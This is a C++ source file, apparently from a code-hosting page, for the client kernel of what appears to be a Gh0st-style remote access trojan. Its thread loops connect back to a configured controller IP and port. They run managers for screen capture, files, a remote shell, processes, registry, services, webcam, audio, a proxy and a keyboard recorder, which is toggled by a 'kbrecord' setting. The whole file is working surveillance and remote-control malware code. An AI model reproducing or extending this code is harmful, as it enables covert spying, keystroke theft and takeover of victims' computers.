186 lines
3.8 KiB
C++
186 lines
3.8 KiB
C++
#include "StdAfx.h"
|
|
#include "Common.h"
|
|
|
|
#include "ScreenManager.h"
|
|
#include "FileManager.h"
|
|
#include "TalkManager.h"
|
|
#include "ShellManager.h"
|
|
#include "SystemManager.h"
|
|
#include "AudioManager.h"
|
|
#include "RegisterManager.h"
|
|
#include "ServicesManager.h"
|
|
#include "VideoManager.h"
|
|
#include "KeyboardManager.h"
|
|
#include "ProxyManager.h"
|
|
|
|
#include "KernelManager.h"
|
|
#include <iniFile.h>
|
|
|
|
#define REG_SETTINGS "Software\\ServerD11\\Settings"
|
|
|
|
// 写入字符串配置（多字节版）
|
|
bool WriteAppSettingA(const std::string& keyName, const std::string& value) {
|
|
HKEY hKey;
|
|
|
|
LONG result = RegCreateKeyExA(
|
|
HKEY_CURRENT_USER,
|
|
REG_SETTINGS,
|
|
0,
|
|
NULL,
|
|
0,
|
|
KEY_WRITE,
|
|
NULL,
|
|
&hKey,
|
|
NULL
|
|
);
|
|
|
|
if (result != ERROR_SUCCESS) {
|
|
Mprintf("无法创建或打开注册表键，错误码: %d\n", result);
|
|
return false;
|
|
}
|
|
|
|
result = RegSetValueExA(
|
|
hKey,
|
|
keyName.c_str(),
|
|
0,
|
|
REG_SZ,
|
|
reinterpret_cast<const BYTE*>(value.c_str()),
|
|
static_cast<DWORD>(value.length() + 1)
|
|
);
|
|
|
|
RegCloseKey(hKey);
|
|
return result == ERROR_SUCCESS;
|
|
}
|
|
|
|
// 读取字符串配置（多字节版）
|
|
bool ReadAppSettingA(const std::string& keyName, std::string& outValue) {
|
|
HKEY hKey;
|
|
|
|
LONG result = RegOpenKeyExA(
|
|
HKEY_CURRENT_USER,
|
|
REG_SETTINGS,
|
|
0,
|
|
KEY_READ,
|
|
&hKey
|
|
);
|
|
|
|
if (result != ERROR_SUCCESS) {
|
|
return false;
|
|
}
|
|
|
|
char buffer[256];
|
|
DWORD bufferSize = sizeof(buffer);
|
|
DWORD type = 0;
|
|
|
|
result = RegQueryValueExA(
|
|
hKey,
|
|
keyName.c_str(),
|
|
nullptr,
|
|
&type,
|
|
reinterpret_cast<LPBYTE>(buffer),
|
|
&bufferSize
|
|
);
|
|
|
|
RegCloseKey(hKey);
|
|
|
|
if (result == ERROR_SUCCESS && type == REG_SZ) {
|
|
outValue = buffer;
|
|
return true;
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
DWORD WINAPI ThreadProc(LPVOID lParam)
|
|
{
|
|
THREAD_ARG_LIST ThreadArgList = {0};
|
|
memcpy(&ThreadArgList,lParam,sizeof(THREAD_ARG_LIST));
|
|
SetEvent(ThreadArgList.hEvent);
|
|
|
|
DWORD dwReturn = ThreadArgList.StartAddress(ThreadArgList.lParam);
|
|
return dwReturn;
|
|
}
|
|
|
|
template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
|
{
|
|
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
|
IOCPClient *ClientObject = (IOCPClient *)pInfo->p;
|
|
CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
|
|
ClientObject->SetServerAddress(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
|
if (pInfo->run == FOREVER_RUN || ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
|
{
|
|
Manager m(ClientObject, n, pInfo->user);
|
|
pInfo->user = &m;
|
|
ClientObject->RunEventLoop(pInfo->run);
|
|
pInfo->user = NULL;
|
|
}
|
|
delete ClientObject;
|
|
pInfo->p = NULL;
|
|
|
|
return 0;
|
|
}
|
|
|
|
DWORD WINAPI LoopScreenManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CScreenManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopFileManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CFileManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopTalkManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CTalkManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopShellManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CShellManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopProcessManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CSystemManager, COMMAND_SYSTEM>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopWindowManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CSystemManager, COMMAND_WSLIST>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopVideoManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CVideoManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopAudioManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CAudioManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopRegisterManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CRegisterManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopServicesManager(LPVOID lParam)
|
|
{
|
|
return LoopManager<CServicesManager, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
|
|
{
|
|
iniFile cfg(CLIENT_PATH);
|
|
std::string s = cfg.GetStr("settings", "kbrecord", "No");
|
|
if (s == "Yes") {
|
|
return LoopManager<CKeyboardManager1, 1>(lParam);
|
|
}
|
|
return LoopManager<CKeyboardManager1, 0>(lParam);
|
|
}
|
|
|
|
DWORD WINAPI LoopProxyManager(LPVOID lParam) {
|
|
return LoopManager<CProxyManager, 0>(lParam);
|
|
}
|